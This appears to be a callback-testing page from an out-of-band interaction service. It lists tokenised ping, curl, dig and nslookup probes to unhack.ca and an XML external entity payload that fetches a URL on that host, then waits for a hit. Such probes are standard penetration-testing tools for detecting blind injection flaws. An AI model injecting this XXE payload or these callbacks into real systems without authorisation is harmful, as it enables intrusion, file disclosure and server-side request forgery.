$ ping -c1 -p 001a2411832bc1aadbceac727be90d00 unhack.ca
 
$ curl http://unhack.ca/p/1a2411832bc1aadbceac727be90d
 
$ dig 1a2411832bc1aadbceac727be90d @unhack.ca
 
$ dig 1a2411832bc1aadbceac727be90d.ns.unhack.ca
 
C:\> nslookup 1a2411832bc1aadbceac727be90d unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1a2411832bc1aadbceac727be90d">]>
    <foo>&xxe;</foo>
Waiting for ping...